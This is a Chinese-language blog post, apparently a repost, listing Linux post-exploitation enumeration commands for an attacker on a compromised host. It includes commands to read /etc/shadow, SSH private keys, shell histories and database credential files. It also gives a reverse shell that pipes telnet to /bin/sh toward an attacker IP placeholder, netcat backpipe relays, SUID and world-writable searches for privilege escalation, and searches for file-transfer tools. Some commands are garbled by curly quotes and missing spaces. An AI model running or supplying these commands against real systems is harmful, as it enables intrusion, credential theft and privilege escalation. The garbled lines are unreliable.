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Linux 系统信息收集简介
常用命令
查看系统版本
cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release
查看内核版本
cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz
查看环境变量里
cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set
查看是否存在打印机
lpstat -a
应用与服务
查看正在运行的服务以及权限
ps aux ps -ef top cat /etc/service
查看具有 root 权限的进程
ps aux | grep root ps -ef | grep root
查看已安装程序、版本及运行状态
ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/
查看Service 设置
cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/
查看本机任务计划
crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root
查找可能存有用户名和密码的文本
grep -i user [filename] grep -i pass [filename] grep -C 5 “password” [filename] find . -name “*.php” -print0 | xargs -0 grep -i -n “var $password” # Joomla
通信与网络
查看 NIC 以及连接信息
/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network
查看网络配置
cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname
查看本机的网络连接信息
lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig –list chkconfig –list | grep 3:on last
查看 ARP 及路由表信息
arp -e route /sbin/route -nee
嗅探数据包
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
获得一个 Shell 与系统进行交互
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/nc -lvp 4444 # Attacker. 输入（命令） nc -lvp 4445 # Attacker. 输出（结果） telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用攻击者的 IP!
端口转发（端口重定向）
# rinetd # http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch# fpipe # FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 #ssh # ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port #mknod # mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
建立远程 SSH 隧道
ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig
秘密信息和用户
查看已登录（在线）账户以及权限设置
id
who
w
last
cat /etc/passwd | cut -d: # List of users
grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ # List of super users
awk -F: ‘($3 == “0”) {print}‘ /etc/passwd # List of super users
cat /etc/sudoers
sudo -l查看敏感文件
cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/
查看相关目录的隐藏文件
ls -ahlR /root/ ls -ahlR /home/
查找密码，脚本，数据库，默认配置文件或日志文件
cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg
查看操作历史（SSH，nano 等）
cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history
查找用户信息
cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root
查找主机上的私钥
cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key
文件系统
查找具备 /etc/ 目录写权限的用户以及重新配置服务的用户
ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/’ 2>/dev/null # Anyone ls -aRl /etc/ | awk ’$1 ~ /^..w/’ 2>/dev/null # Owner ls -aRl /etc/ | awk ‘$1 ~ /^…..w/’ 2>/dev/null # Group ls -aRl /etc/ | awk ’;$1 ~ /w.$/’ 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
查找 /var/ 目录的隐藏可疑文件
ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases
查找网站的隐藏配置文件
ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/
查看相关系统日志
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件？log.系统引导……)
一句话创建可交互式反弹 Shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’ echo os.system(‘/bin/bash’) /bin/sh -i
挂载文件系统
mount df -h
查看系统挂载情况
cat /etc/fstab
高级 Linux 文件权限使用（Sticky bits, SUID 和 GUID）
find / -perm -1000 -type d 2>/dev/null # Sticky bit – Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) – run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) – run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r “bin$”`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done #Looks in ‘common‘ places: /bin, /sbin, /usr/bin, /usr/sbin,/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID(Quicker search)#
findstarting at root (/), SGIDorSUID, not Symbolic links, only 3
folders deep, list with more detail and hideany errors (e.g. permissiondenied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null哪些目录具有写入权限（几个通用的目录：/tmp，/var，/tmp，/dev，/shm）
find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o+w -type d 2>/dev/null # world-writeable folders find / -perm -o+x -type d 2>/dev/null # world-executable folders find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable foldersAny “problem” files？可写的的，“没有使用”的文件 find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
准备和查找漏洞利用代码
查看语言/代码支持情况
find / -name perl* find / -name python* find / -name gcc* find / -name cc
查找可利用于传输文件的命令
find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp find / -name scp
本文出自 “江湖笑笑生” 博客，请务必保留此出处http://hashlinux.blog.51cto.com/9647696/1885577
Linux 系统信息收集简介
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